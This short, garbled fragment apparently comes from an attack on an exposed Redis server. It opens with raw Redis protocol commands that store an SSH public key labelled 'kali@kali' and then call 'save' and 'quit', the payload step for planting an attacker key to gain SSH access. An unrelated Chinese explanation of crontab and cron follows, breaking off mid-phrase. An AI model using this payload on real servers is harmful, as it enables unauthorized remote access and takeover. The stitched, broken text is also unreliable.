$568ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcuZRdMdqIdV7OwfFaiQMERu3rMCVYP8KaKUhkLCeLoNDYFObLmo8pTWZ38qn2cHK8AtZjWAHLJYfJYIRWIFrMsuc9SNahXLo2ldaiv3KPGQvR/582qyFztmnVDqB6LpVdA9Pi11XNexCFr5vXPnzGwJOMisPD1wOdMWx7sN9PECVmXHvJLLK79YiBE5IadnU7NVOCkZkDkg4Mgzbq6h8KZgdihb9D8a8vc77U5jI2iUftuqlkGQm6TU7aCMehXxSseJT4HZpGNtj/gtrY9YACv5X3RGuaWm/bJW1iWtckAZEaYe4IccbqybP3VANV6qXE3RvsBmIXeVaVtnwXaNgfY75cfAoKO3EMRZrKOZGqK5baPsSUF1LJfPzjjkmZNFSPTo3vpO9ZUrx6/DoVd6J7DEhcWqB18BSeY2029/Hk64TKnDd1s1KAuo801nxzj1JUD/xFeHr2szPnlJrk5oldQH5KYBqWbG7YgiprwQe2zHpFGnA26WDcp/AK3U kalikali*1
$4
save
*1
$4
quit在类Unix操作系统中crontab来自cron table的缩写是一种用于定时任务调度的工具它允许用户安排在指定时间自动执行任务的计划。cron是一个守护进程它在后台运行周期性地检查/etc/crontab文件、/etc/cron.*目录和用户的crontab文件。 定时任务等一下